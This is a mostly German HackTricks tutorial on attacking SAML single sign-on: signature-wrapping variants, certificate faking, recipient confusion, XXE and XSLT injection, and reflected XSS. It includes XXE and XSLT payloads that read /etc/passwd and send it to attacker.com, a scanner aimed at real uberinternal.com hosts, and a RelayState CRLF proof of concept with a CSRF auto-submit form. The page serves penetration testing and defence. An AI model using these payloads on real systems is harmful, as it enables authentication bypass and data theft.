SAML Attacks

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

SAML Basics

Tool

SAMLExtractor: Ein Tool, das eine URL oder eine Liste von URLs entgegennimmt und die SAML consume URL ausgibt.

XML round-trip

In XML wird der signierte Teil des XML im Speicher abgelegt, dann wird eine Kodierung/Dekodierung durchgeführt und die Signatur überprüft. Idealerweise sollte diese Kodierung/Dekodierung die Daten nicht verändern, aber basierend auf diesem Szenario könnten die geprüften Daten und die ursprünglichen Daten nicht identisch sein.

Zum Beispiel, siehe den folgenden Code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Beim Ausführen des Programms gegen REXML 3.2.4 oder früher würde stattdessen die folgende Ausgabe erscheinen:

First child in original doc: Y
First child after round-trip: Z

So sah REXML das ursprüngliche XML-Dokument aus dem obigen Programm:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Und so sah es nach einem Parsing- und Serialisierungsdurchlauf aus:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Für weitere Informationen über die Schwachstelle und wie man sie ausnutzt:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW) nutzen Angreifer eine Schwachstelle aus, die entsteht, wenn XML-Dokumente in zwei getrennten Phasen verarbeitet werden: Signatur-Validierung und Funktionsaufruf. Diese Angriffe beinhalten das Verändern der XML-Dokumentstruktur. Konkret injiziert der Angreifer gefälschte Elemente, die die Gültigkeit der XML Signature nicht beeinträchtigen. Diese Manipulation zielt darauf ab, eine Diskrepanz zwischen den Elementen zu erzeugen, die von der Anwendungslogik analysiert werden, und denen, die vom Signaturprüfmodul überprüft werden. Infolgedessen bleibt die XML Signature technisch gültig und besteht die Prüfung, während die Anwendungslogik die betrügerischen Elemente verarbeitet. Dadurch umgeht der Angreifer effektiv den Integritätsschutz und die Authentifizierung der Quelle der XML Signature und ermöglicht die Einschleusung beliebigen Inhalts, ohne entdeckt zu werden.

Die folgenden Angriffe basieren auf this blog post und this paper. Schau dort für weitere Details.

XSW #1

  • Strategy: Ein neues Root-Element, das die Signatur enthält, wird hinzugefügt.
  • Implication: Der Validator kann zwischen dem legitimen “Response -> Assertion -> Subject” und dem des Angreifers “evil new Response -> Assertion -> Subject” verwirrt werden, was zu Problemen bei der Datenintegrität führt.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Verwendet eine detached signature anstelle einer enveloping signature.
  • Implication: Die “evil”-Struktur, ähnlich wie bei XSW #1, zielt darauf ab, die Business-Logik nach der Integritätsprüfung zu täuschen.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: Eine bösartige Assertion wird auf derselben Hierarchieebene wie die originale Assertion erzeugt.
  • Implication: Ziel ist es, die Business-Logik dazu zu bringen, die bösartigen Daten zu verwenden.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: Die originale Assertion wird ein Kind der duplizierten (bösartigen) Assertion.
  • Implication: Ähnlich wie XSW #3, verändert jedoch die XML-Struktur aggressiver.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Weder die Signature noch die originale Assertion folgen den Standardkonfigurationen (enveloped/enveloping/detached).
  • Implication: Die kopierte Assertion umschließt die Signature und verändert damit die erwartete Dokumentstruktur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Ähnliche Einfügeposition wie bei XSW #4 und #5, jedoch mit einer Wendung.
  • Implication: Die kopierte Assertion umschließt die Signature, welche wiederum die originale Assertion umschließt und so eine verschachtelte, täuschende Struktur erzeugt.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: Ein Extensions-Element wird eingefügt, mit der kopierten Assertion als Kind.
  • Implication: Dies nutzt das weniger restriktive Schema des Extensions-Elements aus, um Schema-Validierungsgegenmaßnahmen zu umgehen, insbesondere in Bibliotheken wie OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Verwendet ein anderes, weniger restriktives XML-Element für eine Variante des Angriffs.
  • Implication: Die originale Assertion wird ein Kind des weniger restriktiven Elements, wodurch die in XSW #7 genutzte Struktur umgekehrt wird.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Du kannst die Burp-Extension SAML Raider verwenden, um die Anfrage zu parsen, einen beliebigen XSW-Angriff anzuwenden und ihn auszuführen.

XXE

Wenn du nicht weißt, welche Art von Angriffen XXE sind, lies bitte die folgende Seite:

XXE - XEE - XML External Entity

SAML Responses sind deflated und base64-kodierte XML-Dokumente und können für XML External Entity (XXE)-Angriffe anfällig sein. Durch Manipulation der XML-Struktur der SAML Response können Angreifer versuchen, XXE-Schwachstellen auszunutzen. So lässt sich ein solcher Angriff visualisieren:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Werkzeuge

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um aus einer SAML-Anfrage den POC zu generieren und auf mögliche XXE-Schwachstellen und SAML-Schwachstellen zu testen.

Schauen Sie sich auch diesen Vortrag an: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT über SAML

Für weitere Informationen zu XSLT siehe:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) können verwendet werden, um XML-Dokumente in verschiedene Formate wie HTML, JSON oder PDF zu transformieren. Es ist wichtig zu beachten, dass XSLT-Transformationen vor der Überprüfung der digitalen Signatur durchgeführt werden. Das bedeutet, dass ein Angriff auch ohne eine gültige Signatur erfolgreich sein kann; eine selbstsignierte oder ungültige Signatur reicht aus, um vorzugehen.

Hier finden Sie einen POC, um nach dieser Art von Schwachstellen zu prüfen; auf der hacktricks-Seite, die am Anfang dieses Abschnitts erwähnt wurde, finden Sie payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um den POC aus einer SAML-Anfrage zu erzeugen und mögliche XSLT-Schwachstellen zu testen.

Siehe auch diesen Vortrag: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

Die XML Signature Exclusion beobachtet das Verhalten von SAML-Implementierungen, wenn das Signature element nicht vorhanden ist. Fehlt dieses Element, kann die Signaturvalidierung unterbleiben, wodurch eine Verwundbarkeit entsteht. Man kann dies testen, indem man die Inhalte verändert, die normalerweise durch die Signatur geprüft werden.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden. Fangen Sie die SAML Response ab und klicken Sie auf Remove Signatures. Dadurch werden alle Signature-Elemente entfernt.

Nachdem die Signaturen entfernt wurden, lassen Sie die Anfrage zum Ziel weiterlaufen. Wenn die Signature nicht vom Service erforderlich ist

Certificate Faking

Certificate Faking

Certificate Faking ist eine Technik, um zu prüfen, ob ein Service Provider (SP) properly verifies that a SAML Message is signed by a trusted Identity Provider (IdP). Dabei wird ein *self-signed certificate verwendet, um die SAML Response oder Assertion zu signieren, was hilft, den Vertrauensprüfungsprozess zwischen SP und IdP zu bewerten.

How to Conduct Certificate Faking

Die folgenden Schritte beschreiben den Vorgang mit der Burp-Erweiterung SAML Raider:

  1. Fangen Sie die SAML Response ab.
  2. Wenn die Response eine Signatur enthält, senden Sie das Zertifikat mit der Schaltfläche Send Certificate to SAML Raider Certs an SAML Raider Certs.
  3. Im SAML Raider Certificates-Tab wählen Sie das importierte Zertifikat und klicken auf Save and Self-Sign, um eine self-signed Kopie des Originalzertifikats zu erstellen.
  4. Gehen Sie zurück zur abgefangenen Anfrage im Burp’s Proxy. Wählen Sie das neue self-signed Zertifikat im XML Signature-Dropdown aus.
  5. Entfernen Sie vorhandene Signaturen mit der Schaltfläche Remove Signatures.
  6. Signieren Sie die Nachricht oder Assertion mit dem neuen Zertifikat mithilfe der (Re-)Sign Message oder (Re-)Sign Assertion Schaltfläche, je nach Bedarf.
  7. Leiten Sie die signierte Nachricht weiter. Eine erfolgreiche Authentifizierung zeigt an, dass der SP Nachrichten akzeptiert, die mit Ihrem self-signed Zertifikat signiert wurden, und offenbart mögliche Schwachstellen im Validierungsprozess der SAML-Nachrichten.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion und Service Provider Target Confusion prüfen, ob der Service Provider correctly validates the intended recipient of a response. Im Grunde sollte ein Service Provider eine Authentifizierungsantwort ablehnen, wenn sie für einen anderen Provider bestimmt war. Das kritische Feld ist hier das Recipient-Feld, das innerhalb des SubjectConfirmationData-Elements einer SAML Response zu finden ist. Dieses Feld gibt eine URL an, an die die Assertion gesendet werden muss. Wenn der tatsächliche Empfänger nicht mit dem vorgesehenen Service Provider übereinstimmt, sollte die Assertion als ungültig betrachtet werden.

How It Works

Damit ein SAML Token Recipient Confusion (SAML-TRC) Angriff möglich ist, müssen bestimmte Bedingungen erfüllt sein. Erstens muss es ein gültiges Konto bei einem Service Provider (als SP-Legit bezeichnet) geben. Zweitens muss der angegriffene Service Provider (SP-Target) Tokens vom selben Identity Provider akzeptieren, der auch SP-Legit bedient.

Unter diesen Bedingungen ist der Angriffsablauf einfach. Es wird eine authentische Sitzung mit SP-Legit über den gemeinsamen Identity Provider initiiert. Die SAML Response vom Identity Provider an SP-Legit wird abgefangen. Diese abgefangene SAML Response, ursprünglich für SP-Legit bestimmt, wird dann an SP-Target weitergeleitet. Der Angriff gilt als erfolgreich, wenn SP-Target die Assertion akzeptiert und Zugriff auf Ressourcen unter demselben Kontonamen gewährt, der auch bei SP-Legit verwendet wird.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout-Funktionalität

Die ursprüngliche Forschung ist über this link zugänglich.

Während des directory brute forcing wurde eine Logout-Seite unter folgender Adresse entdeckt:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Beim Zugriff auf diesen link erfolgte eine Weiterleitung zu:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Das zeigte, dass der Parameter base eine URL akzeptiert. Vor diesem Hintergrund entstand die Idee, die URL durch javascript:alert(123); zu ersetzen, um einen XSS (Cross-Site Scripting)-Angriff auszulösen.

Massenausnutzung

Aus dieser Recherche:

Das SAMLExtractor Tool wurde verwendet, um Subdomains von uberinternal.com zu analysieren und Domains zu identifizieren, die dieselbe Bibliothek nutzen. Anschließend wurde ein Script entwickelt, das die oidauth/prompt-Seite anvisiert. Dieses Script prüft auf XSS (Cross-Site Scripting), indem es Daten eingibt und überprüft, ob diese in der Ausgabe reflektiert werden. Wenn die Eingabe tatsächlich reflektiert wird, markiert das Script die Seite als verwundbar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Some SAML SSO endpoints decode RelayState and then reflect it into the response without sanitization. If you can inject newlines and override the response Content-Type, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.

  • Idee: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
  • Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.

Generalized steps:

  1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode the sequence (example):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Send a POST with a syntactically valid SAMLResponse and the crafted RelayState to the SSO endpoint (e.g., /cgi/logout).
  2. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF-Zustellmuster:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Warum es funktioniert: der Server decodiert RelayState und bindet es in die Antwort ein, wobei newline injection möglich ist, sodass der attacker die headers und den response body beeinflussen kann. Das Erzwingen von Content-Type: text/html bewirkt, dass der Browser das vom attacker kontrollierte HTML aus dem response body rendert.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks